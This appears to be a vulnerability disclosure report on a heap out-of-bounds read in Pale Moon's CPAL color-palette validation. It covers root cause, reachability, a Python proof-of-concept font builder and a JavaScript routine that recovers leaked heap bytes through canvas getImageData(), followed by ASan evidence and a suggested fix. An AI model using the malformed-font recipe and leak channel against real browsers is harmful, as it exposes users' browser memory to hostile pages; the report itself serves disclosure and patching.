TL;DR
Pale Moon validates the CPAL color palette table in gfxFontUtils::ValidateColorGlyphs(). The validation checks a consistency relation between three header fields, but one of those fields is independently attacker controlled. Setting numPalettes to zero forces numColorRecords to zero, which makes the array size check vacuous. A later check validates paletteEntryIndex against numPaletteEntries instead of the real array size numColorRecords, so an index valid for a 65535 entry array is accepted for an array that is required to contain zero entries.
The read that follows runs past a dedicated heap allocation holding the CPAL table. The four bytes it reads are used as an RGBA color, propagated into ColorPattern, and rasterized as the glyph fill. Because a web page can read its own canvas pixels, the out of bounds values are recoverable by JavaScript via getImageData().
Two facts bound this finding and are stated up front. The attacker controls the read offset but does not control what is read: a donor font experiment intended to place attacker chosen bytes immediately after the victim allocation failed, so the disclosed content is browser internal heap structure. And no crash was observed at any tested offset, including the maximum reachable one, so this is a silent read and not a denial of service primitive.
Target: Pale Moon 35.0.1 (Linux x86-64), UXP revision e59e88bfd59f37fabc15b30ec304f90a410c751f, release tag RB_20260922, BuildID 20260921224855. Heap out-of-bounds read, read-only, no write primitive.
1. Background: what COLR and CPAL are
Color fonts such as emoji fonts and many decorative fonts are built from two OpenType tables.
| Table | Purpose |
|---|---|
COLR | Maps glyph IDs to colored layers |
CPAL | Color palette: an array of 4 byte ColorRecord values |
The CPAL v0 header is 12 bytes, packed:
struct CPALHeaderVersion0 { AutoSwap_PRUint16 version; AutoSwap_PRUint16 numPaletteEntries; AutoSwap_PRUint16 numPalettes; AutoSwap_PRUint16 numColorRecords; AutoSwap_PRUint32 offsetFirstColorRecord;};and the array element is:
struct CPALColorRecord { uint8_t blue; uint8_t green; uint8_t red; uint8_t alpha;};numColorRecords is the real array size. numPaletteEntries and numPalettes are metadata that are meant to satisfy the relation numColorRecords == numPaletteEntries * numPalettes. Treating that relation as a safety check is the root of the problem.
Pale Moon uses its own Goanna rendering engine, but this color glyph code is inherited Mozilla code living in gfx/thebes/. That distinction matters for the upstream comparison in section 10.
2. The sanitizer does not cover these tables
The natural first question is whether the OpenType Sanitizer already filters malformed CPAL data. It does not, because UXP explicitly configures OTS to pass COLR and CPAL through without validation.
gfx/thebes/gfxUserFontSet.cpp:
virtual ots::TableAction GetTableAction(uint32_t aTag) override { // Preserve Graphite, color glyph and SVG tables if (aTag == TRUETREE_TAG('G', 'D', 'E', 'F') || aTag == TRUETREE_TAG('G', 'P', 'O', 'S') || aTag == TRUETREE_TAG('G', 'S', 'U', 'B') || aTag == TRUETREE_TAG('S', 'V', 'G', ' ') || aTag == TRUETREE_TAG('C', 'O', 'L', 'R') || aTag == TRUETREE_TAG('C', 'P', 'A', 'L')) { return ots::TABLE_ACTION_PASSTHRU; } return ots::TABLE_ACTION_DEFAULT; }TABLE_ACTION_PASSTHRU routes the table to TablePassthru, which stores a raw pointer and copies the bytes back out verbatim (gfx/ots/src/ots.cc):
bool TablePassthru::Parse(const uint8_t *data, size_t length) { m_data = data; m_length = length; return true;}
bool TablePassthru::Serialize(OTSStream *out) { if (!out->Write(m_data, m_length)) { return Error("Failed to write table"); }
return true;}There is no CPAL or COLR parser anywhere in the bundled OTS:
$ grep -rn "COLR\|CPAL" gfx/ots/src/ gfx/ots/include/(no matches)I verified this empirically rather than by reading alone. I compiled the OTS sources from the audited UXP tree, wired up a faithful replica of gfxOTSContext, and ran the real sanitizer over the PoC font:
===== OTS Process() -> SUCCESS =====COLR byte-identical to input: YES (passthru)CPAL byte-identical to input: YES (passthru)The attacker chosen CPAL bytes reach the validator unmodified. UXP’s own validator is the only gate.
3. The flaw
gfxFontUtils::ValidateColorGlyphs() at gfx/thebes/gfxFontUtils.cpp:1611. The relevant block:
if (offsetFirstColorRecord >= cpalLength) { return false; }
if (!numPaletteEntries) { return false; } ... if (sizeof(CPALColorRecord) * numColorRecords > cpalLength - offsetFirstColorRecord) { // CPAL color record will be overflow return false; }
if (numPaletteEntries * uint16_t(cpal->numPalettes) != numColorRecords ) { // palette of CPAL color record will be overflow. return false; }followed by the layer loop:
for (uint16_t i = 0; i < numLayerRecords; i++, layer++) { if (uint16_t(layer->paletteEntryIndex) >= numPaletteEntries && uint16_t(layer->paletteEntryIndex) != 0xFFFF) { // CPAL palette entry record is overflow return false; } }and the out of bounds read in GetColorGlyphLayers() at line 1792:
if (uint16_t(layer->paletteEntryIndex) == 0xFFFF) { aColors.AppendElement(aDefaultColor); } else { const CPALColorRecord* color = reinterpret_cast<const CPALColorRecord*>( reinterpret_cast<const uint8_t*>(cpal) + offsetFirstColorRecord + sizeof(CPALColorRecord) * uint16_t(layer->paletteEntryIndex)); aColors.AppendElement(mozilla::gfx::Color(color->red / 255.0, color->green / 255.0, color->blue / 255.0, color->alpha / 255.0)); }Why the checks do not hold
The consistency check at line 1672 is not a bound check. Its left hand side is numPaletteEntries * numPalettes. Since numPaletteEntries is already guaranteed non-zero by the earlier check, the only way to make the product zero is numPalettes == 0. When that is set:
- The consistency check forces
numColorRecordsto zero. - The size check on line 1666 becomes vacuous, because
4 * 0 > xis false for everyx. No color record is required to exist. - The layer loop still compares
paletteEntryIndexagainstnumPaletteEntries, which the attacker may set to any non-zero value up to0xFFFF.
An index valid for a 65535 entry array is therefore accepted for an array that must contain zero entries. The read then walks forward from the end of a small allocation by up to 4 * 0xFFFE bytes.
0xFFFF is the OpenType sentinel meaning “use the text foreground color”, and that branch performs no read. The maximum usable index for the vulnerable path is 0xFFFE.
This is the only trigger. Forcing the size check to be vacuous requires numColorRecords == 0, and given numPaletteEntries != 0, that requires numPalettes == 0. There is no second path.
4. Reachability from a web page
HTML @font-face -> gfxUserFontEntry::SanitizeOpenTypeData (OTS passthru for COLR/CPAL) -> gfxFontEntry::GetFontTable('COLR'/'CPAL') (dedicated nsTArray allocation) -> gfxFontEntry::TryGetColorGlyphs() (no pref gate) -> gfxFontUtils::ValidateColorGlyphs() (accepts the malformed CPAL) -> gfxFont::DrawGlyphs gfxFont.cpp:2057 -> gfxFont::DrawGlyph gfxFont.cpp:1855 -> gfxFont::RenderColorGlyph gfxFont.cpp:2243 -> gfxFontEntry::GetColorLayersInfo gfxFontEntry.cpp:960 -> gfxFontUtils::GetColorGlyphLayers -> out-of-bounds CPAL color-record read gfxFontUtils.cpp:1792 -> ColorPattern / DrawTarget::FillGlyphs -> rendered glyph pixels -> canvas getImageData()Two properties make this reachable from ordinary web content with no configuration.
No preference gate. gfxFontEntry::TryGetColorGlyphs() at gfxFontEntry.cpp:409 performs no StaticPrefs check. Contrast this with SVG glyph handling, which is gated behind gfxPlatform::GetPlatform()->OpenTypeSVGEnabled().
The CPAL blob is its own allocation. GetFontTable() copies the table into a sized nsTArray<uint8_t>, so the out of bounds window is relative to a small attacker influenced allocation rather than a view into a larger font buffer:
gfxFontEntry::GetFontTable(uint32_t aTag){ hb_blob_t *blob; if (GetExistingFontTable(aTag, &blob)) { return blob; }
nsTArray<uint8_t> buffer; bool haveTable = NS_SUCCEEDED(CopyFontTable(aTag, buffer));
return ShareFontTableAndGetBlob(aTag, haveTable ? &buffer : nullptr);}5. Building the proof font
A 16 byte CPAL is enough to trigger the condition:
CPAL = struct.pack(">HHHHI", 0, # version 0xFFFF, # numPaletteEntries (non-zero, passes the first guard) 0, # numPalettes <- trigger 0, # numColorRecords <- forced to 0 by the consistency check 12, # offsetFirstColorRecord (must be < cpalLength))CPAL += b"\x00\x00\x00\x00" # padding so the offset check passesproducing 16 bytes: 0000ffff000000000000000c00000000
The COLR table needs one base glyph record and one layer record. The layer record’s paletteEntryIndex selects the read offset. I built a variant that puts a distinct index on each of 64 glyphs so that a single render pass yields 64 independent reads:
base_recs = b""layer_recs = b""for i in range(n): gid = i + 1 pei = (start + i * step) & 0xFFFF if pei == 0xFFFF: pei = 0xFFFE base_recs += struct.pack(">HHH", gid, i, 1) # glyphId, firstLayerIndex, numLayers layer_recs += struct.pack(">HH", gid, pei) # glyphId, paletteEntryIndexGlyphs are drawn as solid filled rectangles. This matters for measurement: a large uniform interior gives a pixel whose value is exactly the fill color with no antialiasing at the sample point.
COLR and CPAL are not validated by OTS, so both survive sanitization intact and reach ValidateColorGlyphs() as authored.
6. The disclosure channel
The interesting property of this bug is not only that it reads out of bounds. It is that the read result becomes observable to the attacking page.
The four bytes are interpreted as blue, green, red, alpha, divided by 255.0, and used as the glyph fill via ColorPattern in FillGlyphs. A page that draws text with the font onto a canvas can then read those pixels back.
Recovering exact bytes despite alpha blending
The complication is that the source color has an alpha channel, so the rendered pixel is a blend against the canvas background. Rendering the same text twice, once on white and once on black, and solving two equations recovers the original values exactly.
For a source channel c with alpha a:
over white: out_w = round(c * a / 255) + (255 - a)over black: out_b = round(c * a / 255)Subtracting eliminates c:
a = 255 - (out_w - out_b)c = round(out_b * 255 / a)In JavaScript:
function recover(ow, ob) { var a = 255 - (ow[0] - ob[0]); if (a <= 0 || a > 255) return { err: 1 }; if (255 - (ow[1] - ob[1]) !== a || 255 - (ow[2] - ob[2]) !== a) return { err: 2 }; var r = Math.round(ob[0] * 255 / a), g = Math.round(ob[1] * 255 / a), b = Math.round(ob[2] * 255 / a); return { a: a, c: [r, g, b] };}The two background passes also cross validate each other: the three channels must agree on the same a, otherwise the sample is rejected rather than reported. Recovery is exact when a >= 0x80 and degrades by about 2 LSB below that, which is a limitation of 8 bit output quantization rather than of the method.
Controls
Two control fonts establish that the channel carries the exact bytes and not an approximation.
| Font | Planted bytes | Recovered via getImageData() |
|---|---|---|
valid.ttf record 0 | 00 00 00 ff | 000000ff |
valid.ttf record 1 | 01 07 0d ff | 01070dff |
valid.ttf record 2 | 02 0e 1a ff | 020e1aff |
mark.ttf cell 0 | de ad be ef | deadbeef |
oob0.ttf cell 0 | 00 01 02 fe | 000102fe |
The full eight record control matched on every value:
expected (blue,green,red,alpha) = 000000ff.01070dff.020e1aff.031527ff.041c34ff.052341ff.062a4eff.07315bffobserved = 000000ff.01070dff.020e1aff.031527ff.041c34ff.052341ff.062a4eff.07315bffMATCHEach glyph measured exactly 6400 pixels, confirming full interior coverage with no antialiasing contamination at the sample point.
With the malformed font, cell 0 is in bounds and returns its planted value, while cells 1 and beyond return values that are not present anywhere in the CPAL blob. That divergence is the signature of the out of bounds read.
7. Evidence
Stock binary
All browser level results come from the official Pale Moon 35.0.1 Linux x86-64 release binary, BuildID 20260921224855, run with a fresh default profile. ASan and the standalone OTS build are supporting root cause evidence, not the basis for any browser level claim.
The validator accepting the malformed font was confirmed directly under gdb, with breakpoints placed after libxul.so loads:
!!!RESULT libxul base=0x7fffedc00000!!!ARMED!!!HIT TryGetColorGlyphs:GetFontTable(COLR) #1!!!HIT gfxFontUtils::ValidateColorGlyphs #1!!!HIT ValidateColorGlyphs RETURNED TRUE #1!!!HIT ValidateColorGlyphs RETURNED TRUE #2!!!HIT ValidateColorGlyphs RETURNED TRUE #3The flawed logic is present in the shipped binary. Disassembly of libxul.so shows the multiplication and comparison that correspond to the consistency check:
123e8ba: lea (%r12,%r12,2),%r13 ; 6 * numBaseGlyphRecord123e8d7: lea 0x0(,%r14,4),%r15 ; 4 * numLayerRecords123e8f3: shl $0x2,%r15123e90a: imul %r11d,%ecx ; numPaletteEntries * numPalettes123e90e: cmp %edx,%ecx ; != numColorRecordsThe browser also confirmed internally that the font was genuinely loaded and applied, not merely fetched, by beaconing font state out to a local server:
faces="POCR":loadedcheck=truefontwidth=940 / fallbackwidth=240 / widths_differ=truevisibilityState=visible, hidden=false, raf_ticks_final=40The raf_ticks counter confirms the page was actually painting while sampling, so the color path was executing rather than deferred.
ASan
Compiling verbatim copies of ValidateColorGlyphs() and GetColorGlyphLayers() under AddressSanitizer with a minimal shim for hb_blob_t and nsTArray:
COLR blob = 24 bytes, CPAL blob = 16 bytesValidateColorGlyphs() -> true (ACCEPTED)calling GetColorGlyphLayers(glyph=1) ...===================================================================332078==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba4a45e004fREAD of size 1 at 0x7ba4a45e004f thread T0 #0 gfxFontUtils::GetColorGlyphLayers(...) harness.cpp:267With paletteEntryIndex set to 0xFFFE the same function takes a wild read and faults:
AddressSanitizer: SEGV on unknown address 0x000000000018The signal is caused by a READ memory access.The well formed control font produces no sanitizer report and returns the correct in bounds color, confirming the harness is not simply reporting a false positive on any CPAL input.
8. Reproducibility
The disclosure is deterministic in this environment. The table below is the 30 run study, 64 cells per run, one cell per glyph, each reading a distinct offset from the 16 byte CPAL allocation.
| Metric | Result |
|---|---|
| Independent browser runs | 30 |
| Cells per run | 64 |
| In bounds control cells | 1 |
| Out of bounds cells per run | 63 |
| Individual OOB reads reproduced | 1890 / 1890 |
| OOB offsets identical across all 30 runs | 63 / 63 |
| Runs with a crash or unmapped read | 0 / 30 |
| Runs with no disclosure | 0 / 30 |
The disclosed values showed a 64 byte periodic structure, with cells 30 through 35 repeating identically at cells 46 through 51.
The read range was mapped experimentally. A contiguous sweep of 64 cells at stride 1 covered offsets 12 through 264. A strided sweep with paletteEntryIndex stepping by 1024 covered offsets 12 through 258060, roughly 252 KB past a 16 byte allocation. A final sweep placed all 64 cells at the maximum indices 0xFFBF through 0xFFFE, reading offsets 262088 through 262148. All 64 reads succeeded with no fault and no browser crash.
I also tested a variant with a 4 MB CPAL and offsetFirstColorRecord placed near the end, which pushes reads about 256 KB past a 4 MB allocation. That also completed without a crash.
The practical conclusion is that the window stays inside mapped heap across the full range reachable by the primitive. The read is silent. It is not a denial of service.
9. What this is not
Stating the boundaries precisely, because the primitive is easy to overstate.
The attacker controls the offset, not the disclosed bytes. The control experiment above proves the channel carries attacker chosen bytes byte for byte, but only for addresses inside the CPAL allocation. For the out of bounds window the situation is different. I built donor fonts carrying unique canary patterns (11223344, a1b2c3d4, e5f60718) with distinct internal family names to defeat font cache deduplication, and attempted three placement strategies: a 16 byte donor, a 60 byte donor, and two 64 byte donors. The intent was to land donor controlled data in the victim’s forward read window. In all three cases the canary never appeared in the victim’s OOB window. The memory immediately following the CPAL allocation is browser internal structure, and its contents were identical whether the blob was 16 bytes or 60 bytes.
The disclosed content is low entropy internal heap structure. The recovered values look like small integers and packed fields, consistent with internal display or font data structures. No pointer, no session data, no credential, no cookie, and no JavaScript string was recovered in any run. Whether a sufficiently motivated attacker could steer the allocation pattern to place a more valuable object in the window is untested and I make no claim either way.
There is no write primitive. The out of bounds access is a read. There is no adjacent write, no type confusion, no controlled vtable, and no heap overlap.
There is no execution path. Values are divided by 255.0 before use, so the range reaching the graphics layer is finite in [0.0, 1.0] and cannot produce NaN or infinity. The only consumer is ColorPattern in FillGlyphs; the value is never used as a pointer, length, offset, or secondary index. There is no information to write bridge.
No crash was demonstrated. Across 30 runs, the 252 KB strided sweep, the maximum index sweep, and the 4 MB CPAL variant, the browser never faulted.
Accordingly this is not an arbitrary memory read, not arbitrary address access, not a process memory disclosure primitive, and not an ASLR bypass. It is a bounded forward out of bounds read relative to one small allocation.
10. Version status
| Ref | Commit | Date | Status |
|---|---|---|---|
RB_20260922 (35.0.1) | e59e88bfd59f | 2026-09-21 | vulnerable |
release branch | e59e88bfd59f | 2026-09-21 | vulnerable |
master | 2b146b356c71 | 2026-09-27 | vulnerable |
RB_20260922 is still the newest release tag, so master is post 35.0.1 development. I reviewed all 50 commits between the release base and current master. None touch COLR or CPAL. The relevant region of gfxFontUtils.cpp and the OTS passthru list in gfxUserFontSet.cpp are byte identical between the two revisions, confirmed by diff.
The flaw is inherited rather than introduced by UXP. The same logic appears in the 2018 bulk import commit 5f8de423f190bbb79a62f804151bc24824fa32d8 (“Add m-esr52 at 52.6.0”) at the then lines 1660, 1696, and 1779, and git log -S on the exact condition shows no UXP commit has ever modified it.
Upstream context
Upstream Mozilla rewrote this code into gfx/thebes/COLRFonts.cpp as part of COLRv1 support (bug 1740530) and its current validation reads:
if (!numPaletteEntries || !numPalettes || numColorRecords < numPaletteEntries) { return false; }That form rejects numPalettes == 0 outright and also guards numColorRecords < numPaletteEntries, closing this class of issue. UXP never received that refactor; gfx/thebes/COLRFonts.cpp does not exist in the UXP tree at all, and UXP contains neither the !numPalettes rejection nor the numColorRecords check. UXP also diverges from upstream in directing OTS to pass COLR and CPAL through, so its own validator is the only gate. The result is an unpatched inherited validation gap rather than a UXP specific design error.
No exact duplicate was found: UXP tracker searches for CPAL, COLR, ValidateColorGlyphs, and numPalettes returned no security report, and the closest known issue (Mozilla Bug 1786002) is a different out of bounds read on the palette indices array, not the color record read described here.
11. Suggested fix
The invariant to enforce is that for every layer whose paletteEntryIndex is not the 0xFFFF sentinel, the four byte read at offsetFirstColorRecord + 4 * paletteEntryIndex lies entirely within the CPAL blob. The recommended fix enforces that directly:
for (uint16_t i = 0; i < numLayerRecords; i++, layer++) { if (uint16_t(layer->paletteEntryIndex) == 0xFFFF) { // Sentinel: use the text foreground color, no CPAL access. continue; } if (uint16_t(layer->paletteEntryIndex) >= numColorRecords) { // Palette entry record is out of bounds. return false; } }Bounding the index against numColorRecords, the actual array size, rather than against numPaletteEntries, removes the dependency on the consistency relation between independent header fields. This is the fix that directly enforces the memory safety invariant, and it matches the direction upstream converged on when it added a palette size check at the read site.
Ordering matters. The 0xFFFF sentinel must be handled before the bound test, otherwise a legitimate sentinel layer in a font with fewer than 65535 records would be rejected.
A complementary fix is to reject an empty palette table before the color record validation:
if (!uint16_t(cpal->numPalettes)) { return false; }This is worth having as defense in depth and for spec compliance, but on its own it closes the bug only incidentally. It works because numPalettes == 0 happens to be the sole trigger for the vacuous size check. It is a consistency guard, not a bounds guard, so it would not protect against a future edit that made the size check vacuous by a different route.
Regression verification
A full patched Pale Moon browser build was not performed. The UXP build tooling (mach, mozbuild) was unavailable in the audit environment and the build exceeded available disk and time. The regression evidence below is function level, against verbatim copies of the validator with each candidate fix applied.
font expected orig fix1 fix2 both-----------------------------------------------------------------oob0.ttf REJECT ACCEPT REJECT REJECT REJECTv64.ttf REJECT ACCEPT REJECT REJECT REJECTmark.ttf REJECT ACCEPT REJECT REJECT REJECTdonor.ttf REJECT ACCEPT REJECT REJECT REJECTpoc.ttf REJECT ACCEPT REJECT REJECT REJECToob_sweep.ttf REJECT ACCEPT REJECT REJECT REJECTvalid.ttf ACCEPT ACCEPT ACCEPT ACCEPT ACCEPTcontrol.ttf ACCEPT ACCEPT ACCEPT ACCEPT ACCEPTAll six malformed fonts are accepted by the original code and rejected by every fix variant. Both well formed control fonts remain accepted, so ordinary color glyph rendering is unaffected. Fix B is marginally stricter than Fix A in that it would also reject a font declaring numColorRecords < numPaletteEntries, which fails closed and is spec consistent.
There is exactly one read site using paletteEntryIndex in the audited tree, and ValidateColorGlyphs() is its only gate, so no further reachable path requires auditing.
12. Assessment
The evidence supports a conservative rating. Remote reachability is trivial, since any web page can serve the font, and it is a memory safety violation with an attacker observable information disclosure channel and deterministic reproduction.
Evidence that would be required for a higher rating is not present: there is no write primitive, no code execution, no sandbox escape, and no privilege boundary crossing. No sensitive object was recovered, no crash or denial of service was demonstrated, and the attacker cannot select the disclosed content. Determinism raises confidence in the finding, not its severity.